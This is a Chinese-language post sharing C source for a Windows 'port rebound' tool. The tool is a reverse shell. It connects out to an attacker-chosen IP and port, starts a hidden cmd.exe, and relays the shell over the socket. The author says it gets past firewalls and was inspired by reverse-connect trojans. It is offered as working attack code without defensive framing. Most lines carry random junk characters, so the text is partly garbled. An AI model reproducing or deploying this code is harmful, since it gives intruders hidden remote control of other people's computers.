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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *?yJkJ"  
M+wt_ _vHf  
/* ============================== +pH@oFNK  
Rebound port in Windows NT \Hqc 9&0  
By wind,2006/7 n:U>Fj>q  
===============================*/ A=Dhod  
#include nK3 k]gLc{  
#include 7&O`p(j  
E3a_8@ZB7  
#pragma comment(lib,"wsock32.lib") WxbsD S;  
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void OutputShell(); a;$P:C{gj?  
SOCKET sClient; I8H%=Kb?9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IMQ]1uq0$  
dSIH9D  
void main(int argc,char **argv) U-0#0}_  
{ HNa]H;-+5  
WSADATA stWsaData; NYABmI/0c  
int nRet; ig0u^BC  
SOCKADDR_IN stSaiClient,stSaiServer; Q36)7=at  
iA!7E;o  
if(argc != 3) {dPgf  
{ Lc<eRVNd,  
printf("Useage:\n\rRebound DestIP DestPort\n"); %lr|xX  
return; 'f/Lv@]a  
} lH|LdlX  
nzX@:7g  
WSAStartup(MAKEWORD(2,2),&stWsaData); @\(vX]  
?IX!+>.H  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OlxX.wP  
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stSaiClient.sin_family = AF_INET; {OT:3SS7  
stSaiClient.sin_port = htons(0); j1Yq5`ia  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \'19BAm'  
{+("C] b  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4ZT A>   
{ C9Bh@v%90^  
printf("Bind Socket Failed!\n"); <Y'>F!?#  
return; (I{ $kB"p  
} SQE[m9v  
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stSaiServer.sin_family = AF_INET; 0"xPX#Cvj  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rFJ[dz  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %-;b u|  
ID};<[  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S"snB/  
{ ,D80/2U^  
printf("Connect Error!"); =OTm2:j#yQ  
return; i}TwOy<4s  
} TUp%FJXA|  
OutputShell(); BOf1J1  
} F.q|x|9j  
 eIPG#A  
void OutputShell() @?B6aD|jE  
{ Q^eJ4{Ya:  
char szBuff[1024]; 6k])KlJ2;  
SECURITY_ATTRIBUTES stSecurityAttributes; 4ax|Vb)D  
OSVERSIONINFO stOsversionInfo; T bE:||r?^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lx,`hl%  
STARTUPINFO stStartupInfo; ySdN;d:q  
char *szShell; #Gv{UU$]  
PROCESS_INFORMATION stProcessInformation; fW0$s`  
unsigned long lBytesRead; wpPn}[a  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 'bW5Fr>W  
]]iO- }  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); v:ER 4  
stSecurityAttributes.lpSecurityDescriptor = 0; _; ]e@  
stSecurityAttributes.bInheritHandle = TRUE; >cOei K  
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j033%p+Xc  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); p{;i& HNdp  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);   &LQ%  
t Y1Et0  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &m{'nRU}c  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8KjRCm,I  
stStartupInfo.wShowWindow = SW_HIDE; Z/ bB h  
stStartupInfo.hStdInput = hReadPipe; utO.WfWP  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; X} JOX9pK  
KI&:9j+M)  
GetVersionEx(&stOsversionInfo); Yx?aC!5M  
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switch(stOsversionInfo.dwPlatformId) Ya4?{2h@+  
{ M^SuV  
case 1: mv Ov<x;l  
szShell = "command.com"; ~I_owCVZ  
break; BD;H   
default: zQuM !.  
szShell = "cmd.exe"; 2:v<qX  
break; 4L:>4X[T  
} z%"Ai)W/{  
\SYvD y]  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); LPE)  
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send(sClient,szMsg,77,0); oh}^?p  
while(1) - @bp4Z=  
{ *v #/Y9}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); i+(GNcg2  
if(lBytesRead) Dm{Ok#@r2  
{ T |"`8mG  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )+~E8yK  
send(sClient,szBuff,lBytesRead,0); 9Vh_[^bR  
} .)PqN s:  
else Z[IM<S9lz  
{ e6P[c=m #  
lBytesRead=recv(sClient,szBuff,1024,0); Rl@$xP  
if(lBytesRead<=0) break; snMQ"ju  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +l\<?  
} T1~)^qQ  
} "n- pl  
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return; >!BFt$sd  
}
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